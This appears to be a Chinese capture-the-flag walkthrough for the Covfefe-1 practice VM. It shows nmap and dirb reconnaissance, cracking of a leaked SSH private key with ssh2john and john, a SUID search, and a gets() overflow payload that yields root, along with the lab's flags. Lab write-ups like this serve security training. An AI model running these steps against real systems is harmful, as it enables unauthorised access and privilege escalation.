当前位置: 首页 > news >正文

Covfefe

Covfefe-1 靶机渗透实战

环境说明

  • 攻击机:Kali Linux,IP:192.168.146.128
  • 靶机:Covfefe-1,IP:192.168.146.130
  • 网络模式:统一 NAT,同网段192.168.146.0/24

第一阶段:主机探测(确定靶机 IP)

先查看本机网卡与网段,再扫描全网段存活主机,定位靶机真实 IP。

ifconfig
arp-scan -l

确定目标靶机 IP:192.168.146.130


第二阶段:端口 & 服务扫描(挖掘对外开放服务)

nmap -p- -sV 192.168.146.130 -n -T4

扫描结果分析

  1. 22/tcp:OpenSSH 7.4p1 → SSH 远程登录端口;
  2. 80/tcp:Nginx 1.10.3 → 普通 Web 服务;
  3. 31337/tcp:Werkzeug (Python) Web 服务 →核心攻击入口

第三阶段:Web 目录爆破(寻找泄露路径)

思路

对两个 Web 端口分别做目录爆破,查找隐藏目录、敏感文件、配置文件泄露。

3.1 爆破 80 端口

dirb http://192.168.146.130:80

结果

无有效敏感目录,80 端口无利用价值。

3.2 爆破 31337 端口(重点)

dirb http://192.168.146.130:31337

爆破结果

发现高危泄露路径:/.ssh/taxes/.bashrc/robots.txt

  • /taxes:存放第一个 Flag;
  • /.ssh:SSH 密钥目录,包含私钥、公钥,是核心突破点。

第四阶段:Web 页面访问 & 敏感文件下载

思路

浏览器访问爆破出的敏感路径,获取 Flag、下载 SSH 密钥文件、确认登录用户名。

4.1 获取 Flag1

浏览器访问:http://192.168.146.130:31337/taxes/

4.2 访问 SSH 密钥目录

浏览器访问:http://192.168.146.130:31337/.ssh

4.3 下载文件 + 提取用户名

将 3 个文件下载到 Kali 桌面,查看公钥内容,确认登录用户为simon


第五阶段:破解加密 SSH 私钥

思路

id_rsa是加密私钥,无法直接登录;使用ssh2john提取哈希值,再用john工具暴力破解密码。

5.1 切换工作目录

cd /root/Desktop

5.2 查找 ssh2john 工具路径

locate ssh2john

5.3 提取私钥哈希

/usr/bin/ssh2john id_rsa > id_rsa.hash

5.4 John 爆破哈希密码

john id_rsa.hash

5.5 修正私钥权限(SSH 强制安全限制)

SSH 要求私钥权限必须为 600,否则拒绝连接。

chmod 600 id_rsa


第六阶段:SSH 低权限登录靶机

思路

使用破解后的私钥 + 密码,登录simon普通用户。

操作命令

ssh -i id_rsa simon@192.168.146.130
  1. 输入yes确认主机指纹;
  2. 输入私钥密码:starwars

登录结果

成功进入靶机,当前用户:simon(普通低权限用户)。


第七阶段:靶机内网信息搜集(寻找提权点)

思路

查看当前权限、系统目录、敏感文件、源码,寻找可提权的漏洞、高权限程序。

7.1 查看当前用户信息

whoami id ls

7.2 进入 /root 目录

cd /root ls

7.3 查看漏洞源码 read_message.c

cat read_message.c

源码分析 & 收获

  1. 函数gets()无输入长度限制,存在栈溢出高危漏洞
  2. 程序仅校验输入前 5 个字符必须为 Simon
  3. 获取 Flag2:flag2{use_the_source_luke}
  4. 直接读取flag.txt提示权限不足,必须提权。

第八阶段:查找 SUID 高权限程序(提权关键)

思路

SUID 权限程序可让普通用户以文件所有者(root)身份运行,是 Linux 经典提权方式。

操作命令

find / -perm -4000 2>/dev/null

关键发现

/usr/local/bin/read_message属于 root 用户且带有 SUID 权限,结合前面栈溢出漏洞,确定为提权目标


第九阶段:栈溢出漏洞利用(提权至 Root)

整体思路

运行带 SUID 的漏洞程序,构造特殊载荷:前5位=Simon(绕过校验) + 大量字符填充缓冲区(触发栈溢出) + /bin/sh(反弹Shell)

9.1 进入程序目录

cd /usr/local/bin ls

9.2 执行漏洞程序并输入载荷

./read_message

输入载荷:

SimonAAAAAAAAAAAAAAAAAAAA/bin/sh

9.3 验证 Root 权限

whoami id

9.4 读取最终 Flag

cat /root/flag.txt


十、渗透总结 & 知识点复盘

1. 完整攻击流程

主机探测 → 端口服务扫描 → Web 目录爆破 → 敏感文件泄露(SSH 密钥)→ 私钥爆破 → 低权限 SSH 登录 → 源码审计(发现栈溢出)→ 查找 SUID 程序 → 栈溢出提权 Root → 收集全部 Flag

2. 核心考点

  1. Web 目录泄露:错误配置导致.ssh密钥目录对外公开;
  2. SSH 加密私钥破解ssh2john + john组合工具使用;
  3. Linux 权限:SSH 私钥 600 权限要求、SUID 提权原理;
  4. 二进制漏洞gets()函数栈溢出、简单缓冲区溢出利用。
http://www.jsqmd.com/news/894907/

相关文章:

  • 正式入驻爱发电!软硬件全栈开发者的开源创作计划
  • 告别跳转失败:STM32 IAP升级中App过大导致的栈溢出问题分析与解决
  • 告别模拟IIC!用STM32CubeMX HAL库轻松驱动CH455G数码管(STM32F030F4P6实战)
  • AI代理系统调试优化:基于文件架构的极致可调试性实践
  • AI代理记忆管理:从TTL到智能过期的架构与工程实践
  • CrewAI多智能体系统:从原理到实战的AI团队协作框架
  • 不止于移动:用Unity的Joystick插件为你的PC/主机游戏打造自定义控制器UI
  • 构建本地语音控制AI助手:人机回环执行与隐私优先设计
  • 从合成数据到合成系统:AI数据生成的范式革命与实战指南
  • 米勒效应原理和解决方案
  • 学了PMP不知道做什么?日薪1W+的项目管理讲师可以考虑!
  • 02-认知篇-基础-AOT编译原理
  • 编程语言:Go语言并发编程实战
  • 告别变砖!NRF52832串口DFU升级实战:从Bootloader配置到Secure DFU签名全流程避坑
  • C#正课二十一(单例模式)
  • Claude Code 最常用斜杠命令
  • AI写的毕业论文初稿双率超标?怎么选靠谱的降重降AI工具
  • 规格驱动开发:用Warp/Oz构建可复现的机器学习工作流
  • Python实现GPU温度精准监控:绕过系统层误差,直连硬件传感器
  • Android性能分析深度指南:Perfetto工具全面解析
  • 大模型 B 端落地第一战场——财务 AI 的核心逻辑、落地方法与未来架构
  • 多队列SSD与LSM树性能优化实践
  • Java基于Spring Boot+Vue的养老院管理系统的设计与实现
  • 突破尺度困境:10 米以上高挑空展陈的全维度设计思路
  • 开发一个淘宝客APP需要多少钱?
  • 论三生原理:一部融贯数理星象的当代东方创世史诗?
  • Biomarker Res(IF=11.5)安徽医科大学第一医院:基于机器学习的放射组学模型:子宫内膜癌患者的预后预测及机制探索
  • Prometheus 拿短时任务没办法?试过才知道这个坑有多深
  • Gemini 3.5 发布:AI 大模型竞争进入“Agent 优先“新阶段
  • Cortex-M栈内存配置与地址获取实战指南